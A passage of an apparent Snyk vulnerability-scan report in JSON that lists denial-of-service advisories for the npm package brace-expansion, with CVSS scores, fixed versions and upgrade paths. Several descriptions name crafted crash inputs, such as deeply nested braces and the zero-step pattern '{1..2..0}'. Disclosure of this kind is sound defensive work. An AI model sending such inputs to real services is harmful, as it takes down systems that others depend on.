"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
